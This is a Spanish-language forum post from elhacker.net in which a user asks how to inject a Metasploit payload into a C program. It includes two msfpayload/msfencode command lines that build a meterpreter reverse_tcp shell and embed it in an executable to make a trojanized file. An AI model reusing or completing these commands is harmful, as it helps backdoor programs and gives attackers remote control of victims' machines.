Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: mester en 6 Abril 2015, 01:07 am



Título: Inyectar payload en programa en C
Publicado por: mester en 6 Abril 2015, 01:07 am
Hola.

Ultimamente he estado experimentando con msfpayload con eso de hacer payloads y tal. El caso es que me gustaría inyectar codigo de un payload en un programa. Espero que me podais ayudar. Por ejemplo, he probado esto:
Código:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4444 R | msfencode -e (el encode que sea) -t exe -x programa.exe -k -o payload.exe
Siendo "programa.exe" un programa creado en C. Y no me funciona xd
También he probado cosas como:
Código:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4444 R | msfencode -e (el encode que sea) -t c -x programa.exe -k -o hola.c
y vuelca en un fichero un codigo, que no se que hacer con él, ¿Me podríais ayudar?
Me gustaría saber como inyectar el payload en el programa en C.